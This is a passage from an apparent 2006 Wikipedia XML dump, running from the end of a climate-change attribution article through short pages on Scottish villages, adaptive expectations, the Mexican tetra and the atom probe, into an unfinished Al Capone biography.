A summary of IPCC climate research may be found in the [http://www.grida.no/climate/ipcc_tar/wg1/ IPCC assessment reports]; the NAS report and an overview of the report may be found [http://www4.nationalacademies.org/onpi/webextra.nsf/web/climate?OpenDocument here]; the degree of consensus is discussed at [[scientific opinion on climate change]].

== Attribution of 20th century climate change ==
The most fiercely-contested question in current climate change research is over attribution of climate change to either natural/internal or human factors over the period of the instrumental record - from about 1860, and especially over the last 50 years. In the 1995 second assessment report (SAR) the  [[IPCC]] made the widely quoted statement that &quot;The balance of evidence suggests a discernible human influence on global climate&amp;rdquo;. The phrase &quot;balance of evidence&quot; was used deliberately to suggest the (English) common-law standard of proof required in civil as opposed to criminal courts: not as high as &quot;beyond reasonable doubt&quot;. In 2001 the third assessment report (TAR) upgraded this by saying &quot;There is new and stronger evidence that most of the warming observed over the last 50 years is attributable to human activities&quot; [http://www.grida.no/climate/ipcc_tar/wg1/007.htm].

Over the past 5 decades there has been a warming of approximately 0.4°C at the Earth's surface (see [[historical temperature record]]). This warming might have been caused by internal variability, or by external forcing, or by &quot;greenhouse&quot; gases. Current studies indicate the latter is most likely, on the grounds that

* estimates of internal variability from climate models, and reconstructions of past temperatures, indicate that the warming is unlikely to be entirely natural
* climate models, forced by changes in greenhouse gases and aerosols, reproduce the observed global changes; those forced by natural factors alone do not
* &quot;fingerprint&quot; methods indicate that the pattern of change is closer to that expected from greenhouse gas forced change than from natural change [http://www.grida.no/climate/ipcc_tar/wg1/460.htm]

In 2001 the US [[National Academy of Sciences]] released a report supporting the IPCC's conclusions regarding the causes of recent climate change. It stated:
''&amp;#8220;Greenhouse gases are accumulating in Earth&amp;#8217;s atmosphere as a result of human activities, causing surface air temperatures and subsurface ocean temperatures to rise.  Temperatures are, in fact, rising.  The changes observed over the last several decades are likely mostly due to human activities, but we cannot rule out that some significant part of these changes are also a reflection of natural variability.&amp;#8221;''[http://www4.nationalacademies.org/onpi/webextra.nsf/web/climate?OpenDocument][http://www.eia.doe.gov/oiaf/1605/ggccebro/chapter1.html][http://www.eldis.org/static/DOC8822.htm]

[[Global climate model]]s (GCM) do not incorporate the indirect [[solar forcing]] through modulation of cosmic ray flux (increased solar activity reduces cosmic ray flux and is speculated to modify cloud cover).  This is because there is no known mechanism for this effect; climate models cannot incorporate unknown mechanisms. One possible mechanism for the cosmic ray flux to influence climate is via [http://www.sciencemag.org/cgi/content/full/301/5641/1886 Particle Formation by Ion Nucleation in the Upper Troposphere and Lower Stratosphere ]''&quot;These findings indicate that, at typical upper troposphere and lower stratosphere conditions, particles are formed by this nucleation process and grow to measurable sizes with sufficient sun exposure and low preexisting aerosol surface area. Ion-induced nucleation is thus a globally important source of aerosol particles, potentially affecting cloud formation and radiative transfer. ... Atmospheric aerosols affect climate directly by altering the radiative balance of the Earth (1) and indirectly by acting as cloud condensation nuclei (CCN) (2), which in turn change the number and size of cloud droplets and the cloud albedo&quot;''; however there is no agreement within the community for the correctness of this. 

Since GCM ''can'' reproduce observed temperature trends (including early 20th century changes, where solar forcing is non-negligible) there is no obvious need for a high sensitivity to solar forcing. Indeed, a significantly higher sensitivity to solar forcing would make early 20th century temperature change inexplicable.

=== Subsequent to the TAR ===
Following the publication of the TAR in 2001 &quot;detection and attribution&quot; of climate change has remained an active area of research. Some important results include:

* Multiple independent reconstructions of the [[temperature record of the past 1000 years]] confirm that the late 20th century is probably the warmest period in that time
* Two papers in Science in August 2005 [http://www.realclimate.org/index.php?p=170] [http://www.realclimate.org/index.php?p=179] resolve the problem, evident at the time of the TAR, of tropospheric temperature trends. The UAH version of the record contained errors, and there is evidence of spurious cooling trends in the radiosonde record, particularly in the tropics. See [[satellite temperature measurements]] for details.
* Barnett et al. &quot;Penetration of Human-Induced Warming into the World's Oceans&quot; (Science, Vol 309, Issue 5732, 284-287, [[8 July]] [[2005]]), say that the observed warming of the oceans ''cannot be explained by natural internal climate variability or solar and volcanic forcing, but is well simulated by two anthropogenically forced climate models. We conclude that it is of human origin, a conclusion robust to observational sampling and model differences'' [http://www.sciencemag.org/cgi/content/abstract/309/5732/284?rbfvrToken=478e88391c8e1ff344f98f5f5d3b62bac11e2a12].

== Detection and Attribution ==
Detection and attribution of climate signals, as well as its common-sense meaning, has a more precise definition within the climate change literature, as expressed by the IPCC [http://www.grida.no/climate/ipcc_tar/wg1/443.htm#1211].

''Detection'' of a signal requires demonstrating that an observed change is statistically significantly different than can be explained by natural internal variability. 

''Attribution'' is to demonstrate that a signal is 
* unlikely to be due entirely to internal variability;
* consistent with the estimated responses to the given combination of anthropogenic and natural forcing
* not consistent with alternative, physically plausible explanations of recent climate change that exclude important elements of the given combination of forcings.

Detection does not imply attribution, and is easier than attribution. Unequivocal attribution would require controlled experiments with multiple copies of the climate system, which is not possible. Attribution, as described above, can therefore only be done within some margin of error. For example, in the [[IPCC Third Assessment Report|TAR]], the statement is made that ''most of the observed warming over the last 50 years is '''likely''' to have been due to the increase in greenhouse gas concentrations'' where &quot;likely&quot; is quantified as 66-90% certain.

== Scientific literature and opinion ==
Some examples of published and informal support for the consensus view:

* The attribution of climate change is discussed extensively, with references to peer-reviewed research, in [http://www.grida.no/climate/ipcc_tar/wg1/439.htm chapter 12] of the IPCC TAR, which discusses [http://www.grida.no/climate/ipcc_tar/wg1/443.htm#1211 The Meaning of Detection and Attribution], [http://www.grida.no/climate/ipcc_tar/wg1/456.htm Quantitative Comparison of Observed and Modelled Climate Change], [http://www.grida.no/climate/ipcc_tar/wg1/458.htm Pattern Correlation Methods] and [http://www.grida.no/climate/ipcc_tar/wg1/460.htm Optimal Fingerprint Methods].

*An essay in [[Science (journal)|Science]] that surveyed [http://www.sciencemag.org/cgi/content/full/306/5702/1686] of [[Abstract (summary)|abstracts]] related to climate change and concluded that most accepted the consensus is discussed further in [[scientific opinion on climate change]].

* A recent paper (Estimation of natural and anthropogenic contributions to twentieth century temperature change, Tett SFB et al., JGR 2002), says &quot;Our analysis suggests that the early twentieth century warming can best be explained by a combination of warming due to increases in greenhouse gases and natural forcing, some cooling due to other anthropogenic forcings, and a substantial, but not implausible, contribution from internal variability. In the second half of the century we find that the warming is largely caused by changes in greenhouse gases, with changes in sulphates and, perhaps, volcanic aerosol offsetting approximately one third of the warming.&quot; [http://groups-beta.google.com/group/sci.environment/msg/aa8521b67cd216ac?dmode=source]

* In 1996, in a paper in [[Nature]] entitled &quot;A search for human influences on the thermal structure of the atmosphere&quot;, [[Benjamin D. Santer]] et al. wrote: &quot;The observed spatial patterns of temperature change in the free atmosphere from 1963 to 1987 are similar to those predicted by state-of-the-art climate models incorporating various combinations of changes in carbon dioxide, anthropogenic sulphate aerosol and stratospheric ozone concentrations. The degree of pattern similarity between models and observations increases through this period. It is likely that this trend is partially due to human activities, although many uncertainties remain, particularly relating to estimates of natural variability.&quot;. This earlier work only addressed the most recent period. Estimates of natural variability matter for assessing the significance of the trend.

* Even some scientists noted for their somewhat doubtful view of global warming accept that recent climate change is mostly anthropogenic. [[John Christy]] said: &quot;...he supports the [http://www.agu.org/sci_soc/policy/climate_change_position.html AGU declaration], and is convinced that human activities are the major cause of the global warming that has been measured...&quot;

[[Willie Soon]] and [[Richard Lindzen]] say that there is insufficient proof for anthropogenic attribution.  For more information, see:
** &quot;Modeling climatic effects of anthropogenic carbon dioxide emissions: unknowns and uncertainties&quot;, Soon W et al., 2001, Climate Research 18(3).
** &quot;Climate hypersensitivity to solar forcing?&quot;, Soon W et al., 2000, Annales Geophysicae-Atmospheres Hydrospheres and Space Sciences 18(5).
** &quot;Environmental effects of increased atmospheric carbon dioxide&quot;, Soon W et al., 1999, Climate Research 13(2).
** &quot;Reconciling observations of global temperature change&quot;, Lindzen RS, Giannitsis C, 2002, Geophysical Research Letters 29(12).
** &quot;Can increasing carbon dioxide cause climate change?&quot;, Lindzen RS, 1997, PNAS 94(16).

== See also ==
* [[global warming]]
* [[global warming controversy]]
* [[Kyoto protocol]]
* [[Global dimming]]

== References ==
* Le Quéré, ''How much of the recent ''CO&lt;sub&gt;2&lt;/sub&gt;'' increase is due to human activities?'', 2005 [http://www.realclimate.org/index.php?p=160]

== External links ==
*[http://www.realclimate.org/ RealClimate] - Blog on current climate change issues by active climatologists
*&quot;The Climate of Man&quot;, ''The New Yorker'' (2005): [http://www.newyorker.com/printables/fact/050425fa_fact3 Part 1], [http://www.newyorker.com/printables/fact/050502fa_fact3 Part 2], [http://www.newyorker.com/printables/fact/050509fa_fact3 Part 3]

[[Category:Climate change]]</text>
    </revision>
  </page>
  <page>
    <title>Achduart</title>
    <id>3203</id>
    <revision>
      <id>39677613</id>
      <timestamp>2006-02-15T02:41:13Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>{{Scotland-geo-stub}}</comment>
      <text xml:space="preserve">'''Achduart''' is a cluster of five houses too small to be termed a [[village]].  It is found a few miles southeast of [[Achiltibuie]] on the Coigach peninsula of northwestern [[Scotland]], in [[Ross and Cromarty]], [[Highland]].  It has accommodation facilities for tourists, who come for its proximity to the ocean as well as its seclusion and remoteness.

==External links==
*[http://freepages.genealogy.rootsweb.com/~coigach/index.htm Coigach Genealogy]
*{{gbmapping|NC050038}}

[[Category:Villages in Highland]]
[[Category:Ross and Cromarty]]

{{Scotland-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Achiltibuie</title>
    <id>3204</id>
    <revision>
      <id>39677790</id>
      <timestamp>2006-02-15T02:42:35Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>cat, links</comment>
      <text xml:space="preserve">'''Achiltibuie''' is a long linear village in [[Ross and Cromarty]], [[Highland]], on the [[Coigach]] coast of northwestern [[Scotland]], overlooking [[Loch Broom]] and the [[Summer Isles]] which lie to the west. Located 10 miles northwest of [[Ullapool]], Achiltibuie is home to the Hydroponicum, a garden where plants are grown using a [[hydroponic]] system,in water and without soil.  It is the last stop on the road to [[Achduart]].

==External link==
* [http://freepages.genealogy.rootsweb.com/~coigach/index.htm Coigach Genealogy]
* {{gbmapping|NC025085}} Get-a-Map from Ordnance Survey

{{Scotland-geo-stub}}
[[Category:Ross and Cromarty]]
[[Category:Villages in Highland]]</text>
    </revision>
  </page>
  <page>
    <title>Adaptive expectations</title>
    <id>3205</id>
    <revision>
      <id>38192691</id>
      <timestamp>2006-02-04T20:59:27Z</timestamp>
      <contributor>
        <username>Art Carlson</username>
        <id>42188</id>
      </contributor>
      <comment>{{merge|Price/wage spiral}}</comment>
      <text xml:space="preserve">{{merge|Price/wage spiral}}

In [[economics]], '''adaptive expectations''' means that people form their expectations about what will happen in the future based on what has happened in the past.  For example, if inflation has been high in the past, people would expect it to be high in the future.

In the theory of [[inflation]], [[demand pull inflation]] and [[cost push inflation]] are usually short-lived  shocks. However, a series of such shocks may lead people to assume that inflation is a permanent feature of the economy (especially if the shocks are large). In that case they will modify their economic behaviour accordingly, based on their heightened expectation of future inflation rates. For instance, they may begin demanding larger (nominal) pay raises. This in itself acts as a cost push, leading firms to push their prices higher, especially since the firms themselves have similar expectations of inflation. This encourages another round of pay-raises.
This merges with the &quot;[[price/wage spiral]]&quot; to build some inflation directly into the economy. The combination of the price/wage spiral and inflationary expectations reflecting the recent past's experience with inflation gives an economy [[built-in inflation]]. 

The theory of adaptive expectations was popular in the 1980s, as an explanation of some aspects of the economic crisis that the West went through after the 1970s oil shock. The fact that some countries, particularly the UK, took until the 1990s to achieve stable low inflation rates again suggests there may well be something in the idea.

The theory of adaptive expectations can be stated using the following equation, where '''p&lt;sup&gt;e&lt;/sup&gt;''' is the next year's rate of inflation that is currently expected; '''p&lt;sup&gt;e&lt;/sup&gt;&lt;sub&gt;-1&lt;/sub&gt;''' is this year's rate of inflation that was expected last year; '''p''' is this year's actual rate of inflation, 

::'''p&lt;sup&gt;e&lt;/sup&gt;''' = '''p&lt;sup&gt;e&lt;/sup&gt;&lt;sub&gt;-1&lt;/sub&gt;''' + '''&amp;lambda;'''*('''p''' &amp;ndash; '''p&lt;sup&gt;e&lt;/sup&gt;&lt;sub&gt;-1&lt;/sub&gt;''')

With '''&amp;lambda;''' is between 1 and 0, this says that current expectations of future inflation reflect past expectations and an &quot;error-adjustment&quot; term, in which current expectations are raised (or lowered) according to the gap between actual inflation and previous expectations.  This error-adjustment is also called &quot;''partial adjustment''.&quot; Rather than reflecting changing expectations of inflation, it may reflect the slow change in people's ability to ''act on'' changes in their expectations. 

Alternatively, the theory of adaptive expectations implies that current inflationary expectations equal: 

:: '''p&lt;sup&gt;e&lt;/sup&gt;''' = (1 &amp;ndash; '''&amp;lambda;''')*&amp;Sigma; ('''&amp;lambda;&lt;sup&gt;j&lt;/sup&gt;'''*'''p&lt;sub&gt;&amp;ndash;j&lt;/sub&gt;''')

where the summation (&amp;Sigma;) is over all '''j''' from 0 to infinity and '''p&lt;sub&gt;&amp;ndash;j&lt;/sub&gt;''' equals actual inflation '''j''' years in the past. Thus, current expected inflation reflects a weighted average all past inflation, where the weights get smaller and smaller as we move further in the past. 

An alternative theory of how expectations are formed is [[rational expectations]]. Though many macroeconomists saw the theory of rational expectations as a revolutionary improvement during the 1970s and 1980s, criticisms of that theory have encouraged a return to the adaptive expectations model. 

[[Category:Economics]]
[[Category:Business terms]]

[[zh:&amp;#36866;&amp;#24212;&amp;#24615;&amp;#39044;&amp;#26399;]]</text>
    </revision>
  </page>
  <page>
    <title>American Broadcasting Corporation</title>
    <id>3206</id>
    <revision>
      <id>24857777</id>
      <timestamp>2005-10-06T01:07:49Z</timestamp>
      <contributor>
        <username>Stillnotelf</username>
        <id>134103</id>
      </contributor>
      <minor />
      <comment>fixed double redirect [[Special:DoubleRedirects]]</comment>
      <text xml:space="preserve">#REDIRECT [[American Broadcasting Company]]</text>
    </revision>
  </page>
  <page>
    <title>Anti-depressant</title>
    <id>3208</id>
    <revision>
      <id>15901569</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Antidepressant]]
</text>
    </revision>
  </page>
  <page>
    <title>Mexican tetra</title>
    <id>3209</id>
    <revision>
      <id>40470185</id>
      <timestamp>2006-02-20T20:15:41Z</timestamp>
      <contributor>
        <username>Samsara</username>
        <id>19527</id>
      </contributor>
      <comment>be more specific: in all likelihood, they are annelid worms</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Mexican Tetra
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Characiformes]]
| familia = [[Characidae]]
| genus = ''[[Astyanax (fish)|Astyanax]]''
| species = '''''A. mexicanus'''''
| binomial = ''Astyanax mexicanus''
| binomial_authority = ([[Filippo de' Filippi|De Filippi]], [[1853]])
}}

The '''Mexican tetra''' (''Astyanax mexicanus'')  is a [[freshwater]] [[fish]]
of the [[characin]] [[family_(biology)|family]] (family [[Characidae]]) of
[[order_(biology)|order]] [[Characiformes]].  The [[type species]] of its [[genus]], it is native to the [[Nearctic]] [[ecozone]], originating in the lower [[Rio Grande]] and the [[Nueces River|Neueces]] and [[Pecos River]]s in [[Texas]] as well as the central and eastern parts of [[Mexico]].

Growing to a maximum overall length of 12&amp;nbsp;[[centimeter|cm]] (4.7&amp;nbsp;[[inch|in]]), the Mexican tetra is of typical characin shape, with unremarkable, drab coloration.  Its blind cave form, however, is notable for having no eyes and being [[albino]], that is, completely devoid of pigmentation; it has a pinkish-white color to its body.

This fish is reasonably popular among [[aquarium|aquarists]].  This is especially true of the blind cave form.

''A. mexicanus'' is a peaceful species that spends most of its time in the mid-level of the water above the rocky and sandy bottoms of pools and backwaters of creeks and rivers of its native environment.  Coming from a [[subtropical]] climate, it prefers water with 6.0&amp;ndash;7.8 [[pH]], a hardness of up to 30 [[dGH]], and a temperature range of 20 to 58 [[degree Celsius|&amp;deg;C]] (68 to 77 [[Fahrenheit|&amp;deg;F]]). In the winter it migrates to warmer waters.  Its natural diet consists of [[crustacean]]s, [[insect]]s, and [[annelid]]s, although in captivity it is [[omnivorous]].

The Mexican tetra is sometimes considered a subspecies of ''A. fasciatus,'' the [[banded tetra]].  The blind forms were once considered to constitute a separate genus, ''Anoptichthys.'' ''Anoptichthys jordani'' and ''Anoptichthys hubbsi'' are thus obsolete synonyms for ''Astyanax mexicanus.''

==Blind cave form==

''A. mexicanus'' is famous for its blind cave form, which is known by such names as '''blind cave tetra''', '''blind tetra''', and '''blind cavefish'''.  Some thirty distinct populations of Mexican tetras live in deep [[cave]]s and have lost the power of [[sight]] and even their [[eye]]s. These fish can still, however, find their way around by means of their [[lateral line]]s, which are highly sensitive to fluctuating [[water pressure]].

The eyed and eyeless forms of ''A. mexicanus,'' being members of the same species, are closely related and can interbreed.  A recent study (Dowling, Martasian, and Jeffery) suggests that there are at least two distinct genetic lineages among the blind populations, arguing that these represent a case of [[convergent evolution]].

In one experiment, scientists implanted into the eye of the blind ''A. mexicanus'' the eye lens from an eyed ''A. mexicanus''.  Within eight days the blind ''A. mexicanus'' started to develop an eye.  After two months it developed a working eye complete with an iris, cornea, and pupil.

The blind Mexican tetra is often held up as one of the proofs of the theory of [[evolution]].  However, opponents of evolutionary theory argue that the blind form is a ''loss of information'' (for sight), compatible with a deterioration of creation after the [[Fall of Man]], so cannot explain how the sight evolved in the first place.

== References ==

*{{FishBase_species|genus=Astyanax|species=mexicanus|year=2004|month=September}}
*{{ITIS|ID=162850|taxon=Astyanax mexicanus|year=2004|date=November 3}}
* Dowling, T.&amp;nbsp;E., D.&amp;nbsp;P. Martasian, and W.&amp;nbsp;R. Jeffrey. &quot;Evidence for Multiple Genetic Forms with Similar Eyeless Phenotypes in the Blind Cavefish, ''Astyanax mexicanus.''&quot; ''Molecular Biology and Evolution'' 19 (April 2002): 446&amp;#8211;55. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?holding=npg&amp;cmd=Retrieve&amp;db=PubMed&amp;list_uids=11919286&amp;dopt=Abstract Abstract on line]. [http://mbe.oxfordjournals.org/cgi/content/full/19/4/446 Free fulltext].
* Sharpe, Shirlie. &quot;[http://freshaquarium.about.com/cs/characins2/a/blindcavefish.htm Blind Cave Fish]&quot;. ''Your Guide to Freshwater Aquariums.'' Accessed on [[3 November]] [[2004]].
* Wieland, Carl. &quot;[http://www.answersingenesis.org/docs2/4361news8-9-2000.asp New Eyes for Blind Cave Fish?]&quot;. ''Answers in Genesis.'' Accessed on [[17 December]] [[2004]].

[[Category:Characins]]
[[Category:Tetras]]
[[Category:Fauna of Mexico]]

[[pl:Ślepczyk jaskiniowy]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Rutskoi</title>
    <id>3210</id>
    <revision>
      <id>40761165</id>
      <timestamp>2006-02-22T21:19:54Z</timestamp>
      <contributor>
        <username>Fisenko</username>
        <id>247056</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Aleksandr Rutskoy]]</text>
    </revision>
  </page>
  <page>
    <title>Atom probe</title>
    <id>3211</id>
    <revision>
      <id>30760584</id>
      <timestamp>2005-12-09T22:18:29Z</timestamp>
      <contributor>
        <ip>66.170.3.194</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''atom probe''' is an atomic-resolution [[microscope]] used in [[materials science]] that was invented in [[1967]] by [[Erwin Müller]].

Müller's atom probe made one-dimensional compositional maps by combining [[time-of-flight]] [[Mass spectrometry|spectroscopy]] and [[field ion microscope|field ion microscopy]] (FIM).  The instrument now allows the three-dimensional reconstruction of up-to hundreds-of-millions of [[atom|atoms]] from a sharp tip (corresponding to specimen volumes of 10,000-1,000,000 [[nanometer|nm]]&lt;sup&gt;3&lt;/sup&gt;).

As in FIM, a sharp tip is made, placed in [[ultra high vacuum]] at cryogenic temperature (typically 20-100 K). Individual atoms at the surface of the tip are ionized, either by a positive pulsed voltage or a laser.  These ions are repelled from the tip electrostatically.  A fast timing circuit is used to measure the time taken between the pulse and the impact of the ion on a detector, thus allowing the mass-to-charge ratio of the ion to be calculated and, therefore, the element (or elements) of the ion. From the collection of many of these ions, a chemical profile of the sample can be made with relative position accuracy of less than one atomic spacing.

Atom-Probe Tomography (APT) uses a position-sensitive detector to deduce the lateral location of atoms.  It was invented in [[1988]] by [[Alfred Cerezo]], [[Terence Godfrey]], and [[George D. W. Smith]].

==See also== 
* [[Field ion microscope]]
* [[List of surface analysis methods]]

==External links==
* [http://arc.nucapt.northwestern.edu/ Northwestern University Center for Atom-Probe Tomography]
* [http://www.nims.go.jp/apfim/ Metallic Nanostructure group of the National Institute for Materials Science (Japan)]
* Imago Scientific Instruments [http://www.imago.com]

{{sci-stub}}
[[Category:Microscopes]]
[[Category:Nanotechnology]]</text>
    </revision>
  </page>
  <page>
    <title>Al Capone</title>
    <id>3212</id>
    <revision>
      <id>42078490</id>
      <timestamp>2006-03-03T17:56:48Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/156.63.113.54|156.63.113.54]] ([[User talk:156.63.113.54|talk]]) to last version by Rklawton</comment>
      <text xml:space="preserve">[[Image:CaponeMugShot.jpg|200px|right|frame|FBI [[mugshot]] of Capone, 1931]]

'''Alphonse Gabriel Capone''' ([[January 17]], [[1899]] &amp;ndash; [[January 25]], [[1947]]), popularly known as '''Al &quot;Scarface&quot; Capone''', was an infamous [[United States|American]] [[gangster]] in the 1920s and 1930s, although his business card reportedly described him as a used [[furniture]] dealer. A [[Naples|Neapolitan]] born in [[New York]], Capone began his career in [[Brooklyn]] before moving to [[Chicago, Illinois|Chicago]] and becoming Chicago's most notorious [[crime]] figure. By the end of the 1920s, the [[FBI|Federal Bureau of Investigation]] had placed Capone on its &quot;[[FBI Ten Most Wanted Fugitives|Most Wanted]]&quot; list. Capone's downfall occurred in 1931 when he was indicted and convicted by the [[Federal government of the United States|federal government]] for [[Tax avoidance and tax evasion|income tax evasion]] and sent to the notorious island prison [[Alcatraz Island|Alcatraz]].

==Birth and early life==
'''''Alphonse Capone''''' was born to Gabriele Capone (1865&amp;ndash;1920) and his wife Teresina &quot;T(h)eresa&quot; Raiola ([[December 28]], [[1867]]&amp;ndash;1952) in [[Brooklyn, New York]], at the turn of the [[20th century]].  Gabriele was a [[barber]] from [[Castellammare di Stabia]], a village about twenty-five kilometers south of [[Naples]], [[Italy]]. Teresina was a [[seamstress]] and the daughter of Angelo Raiola from [[Angri]], a town in the province of [[Salerno]]. The Capones emigrated to the [[United States]] in 1894, and settled in the [[Williamsburg, Brooklyn|Williamsburg]] neighborhood in Brooklyn. 

The couple had seven sons and two daughters:

*Vincenzo Capone (1892&amp;ndash;[[October 1]], [[1952]]).  Called James Vincenzo Capone upon entering the United States. He left the family in 1908 to join a [[Circus (performing art) | circus]] operating in the [[Midwest]]. Served as a [[lieutenant]] in the [[U.S. Army]] during [[World War I]]. Apparently changed his name to Richard Joseph Hart shortly after his discharge. He had a career as a  [[law enforcement officer]], served in the [[Federal Bureau of Indian Affairs]]  and later became [[Marshal]] in [[Homer, Nebraska]].
*Raffaele Capone (1894&amp;ndash;[[November 22]], [[1974]]). Called Ralph upon entering the United States. Later joined his younger brother in Chicago.
*Salvatore Capone (1895&amp;ndash;[[April 1]], [[1924]]). Better known as Frank Capone, he was a representative of his brother in [[Cicero, Illinois]]. Killed by members of the local police reportedly for attempting to draw a gun while they approached him.
*Alphonse Gabriel Capone ([[January 17]], [[1899]]&amp;ndash;[[January 25]], [[1947]]).
*Erminio Capone (1901&amp;ndash;?). Called John or affectionately &quot;Mimi.&quot; Served prison terms for minor offenses such as [[vagrancy (people)|vagrancy]]. Changed his last name to &quot;Martin.&quot; Reportedly still alive in 1994.
* Umberto Capone (1906&amp;ndash;June, [[1980]]). Called Albert. Employee of the newspaper ''Cicero Tribune'' under the ownership of his brother Al. Changed his last name to Raiola in 1942.
*Amedeo Capone (1908&amp;ndash;[[January 31]], [[1967]]). Called Matthew. [[Tavern]] owner.
*Rose Capone.
*Mafalda Capone.

Alphonse's life of [[crime]] started early: as a teenager he joined two gangs, the Brooklyn Rippers and the Forty Thieves Juniors, and engaged in petty crime.

Capone quit high school at the age of 14 when he fought with a teacher and worked odd jobs around Brooklyn, including a [[candy]] store and a [[bowling alley]].  After his initial stint with small-time gangs, Capone joined the notorious [[Five Points Gang]] headed by [[Frankie Yale|Frankie Yale]].  It was at this time he began working as a [[bartender]] and [[Doorman|bouncer]] at Yale's establishment, the seedy Harvard Inn. It was here, at the Harvard Inn, that Capone would engage in a knife fight with a thug named Frank Gallucio after Capone had made a bold move on Gallucio's sister. Gallucio had deeply slashed Capone's right cheek with a switchblade, earning him the nickname that he would bear for the rest of his life: &quot;Scarface,&quot; a moniker he in fact detested. Capone had instead preferred the nickname &quot;Snorky&quot; which meant &quot;well-dressed&quot; in the slang of the 1920s.

In 1918 Capone married [[Mae Coughlin]], an [[Irish ethnicity|Irish]] girl, who gave him a son that year, [[Sonny Capone|Albert &quot;Sonny&quot; Francis Capone]]. The couple lived in [[Brooklyn]] for a year. In 1919 he lived in [[Amityville]], [[Long Island]], to be close to &quot;Rum Row.&quot; Capone was still working for Frankie Yale and is thought to have committed at least two homicides before he was sent to [[Chicago, Illinois|Chicago]] in 1919.  Yale sent his protégé to Chicago after Capone was involved in a fight with a rival gang. Yale's intention was for Capone to &quot;cool off&quot; there; the move primed one of the most notorious crime careers in modern American history.

==Capone in Chicago==
The Capone family moved to a small, unassuming house at 7244 South Prairie Avenue in a [[Chicago, Illinois|Chicago]] suburb that would serve as Al Capone's first headquarters.  Initially, Capone took up grunt work with [[Johnny Torrio]]'s outfit, but the elder Torrio immediately recognized Capone's talents and by 1922 Capone was Torrio's second in command, responsible for much of the [[gambling]], [[alcoholic beverage|alcohol]], and [[prostitution]] [[Racket (crime) | racket]]s in the city of Chicago. 

Severely injured in an assassination attempt in 1925, the shaken Torrio returned to [[Italy]] and gave the reins of the business to Capone.  Capone was notorious during [[Prohibition]] for his control of the Chicago underworld and his bitter rivalries with gangsters such as [[Bugs Moran]] and [[Hymie Weiss]].  Raking in vast amounts of money from illegal gambling, prostitution, and alcohol (some estimates were that between 1925 and 1930 Capone was making $100 million a year), the Chicago [[kingpin]] was largely immune to prosecution due to [[witness intimidation]] and the bribing of city officials, such as Chicago mayor [[William Hale Thompson|William &quot;Big Bill&quot; Hale Thompson]].  Capone was reputed to have several other retreats and hideouts including [[French Lick, Indiana]], [[Hot Springs, Arkansas]], and [[Johnson City, Tennessee]].

In 1928, Capone bought a retreat on [[Palm Island, Florida|Palm Island]], [[Florida]].  It was shortly after this purchase that he orchestrated seven of the most notorious gangland killings of the century, the 1929 [[St. Valentine's Day Massacre]].  Although details of the massacre are still in dispute, and no person has ever been charged or prosecuted for the crime, the killings are generally linked to Capone and his henchmen, especially [[Jack McGurn|Jack &quot;Machine Gun&quot; McGurn]], who is thought to have led the operation.  By staging the massacre, Capone was trying to dispose of his arch-rival [[Bugs Moran]], who controlled gang operations on the North Side of [[Chicago, Illinois|Chicago]].  Moran himself was late for the meeting and escaped otherwise certain death.

Throughout the 1920s, Capone himself was often the target of attempted murders.

==Fall of Capone== 
Although Capone always did his business through front men and had no accounting records linking him to his earnings, new laws enacted in 1927 allowed the federal government to pursue Capone on [[Tax avoidance and tax evasion|tax evasion]], their best chance of finally convicting him. Pursuing Capone were Treasury agent [[Eliot Ness]] and his hand picked team of incorruptible [[U.S. Treasury]] agents &quot;[[The Untouchables]]&quot; and [[US Internal Revenue Service|IRS]] agent [[Frank Wilson(IRS Agent)|Frank Wilson]], who was able to find receipts linking Capone to illegal gambling income and evasion of taxes on that income.

[[Image:Capone_prison.jpg|right|frame|Capone after his release from prison. FBI file photo.]]

The trial and indictment occurred in 1931.  Initially, Capone pleaded guilty to the charges, hoping for a [[plea bargain]].  But, after the judge refused his [[lawyer]]'s offers and Capone's associates failed to bribe or tamper with the [[jury]], Al Capone was found guilty on five of twenty-three counts and sentenced to eleven years in a federal prison. 

Capone was first sent to an [[Atlanta]] prison in 1932.  However, the mobster was still able to control most of his interests from this facility, and he was ordered to be transferred to the infamous [[California]] island prison of [[Alcatraz]] in August of 1934. Here, Capone was strictly guarded and prohibited from any contact with the outside world.  With the repeal of Prohibition and the arrest and confinement of its leader, the Capone empire soon began to wither. At [[Alcatraz]], Capone went in with his cocky attitude. However, when he attempted to bribe guards, he was sent to the &quot;hole&quot;, or solitary confinement. The same also stood for socializing, and eventually Capone's mental stability began to deteriorate. One example of his erratic behavior was that he would make his bed and then undo it, continuing this pattern for hours. Sometimes, Capone did not even want to leave his cell at all, crouching in a corner of his cell and talking to himself in gibberish. He began telling people that he was being haunted by the ghost of James Clark, a victim in the [[St. Valentine's Day Massacre]]. It was apparent over time that Capone no longer posed any threat of resuming his previous gangster-related activities.

== Death and aftermath ==
Sometime in the mid-1930s, and at [[Alcatraz]], Capone began showing signs of dementia, probably related to a case of untreated [[syphilis]] he had contracted as a young man. He spent the last year of his sentence in the prison hospital, and was released late in 1939.  After spending a year in residential treatment at a hospital in [[Baltimore]], he retired to his estate in [[Miami, Florida]].  

Capone was now a broken man. He no longer controlled any [[mafia]] interests. On January 21, 1947, he had an [[Apoplexy|apoplectic stroke]]. He regained consciousness and started to feel better when [[pneumonia]] set in on January 24.  The next day he died from cardiac arrest. Capone was initially buried in Mount Olivet Cemetery in Chicago's far South Side between the graves of his father, Gabriele, and brother, Frank, but in March of 1950 the remains of all three were moved to Mount Carmel Cemetery on the far West Side.[[Hillside, Illinois]].

== Popular culture ==
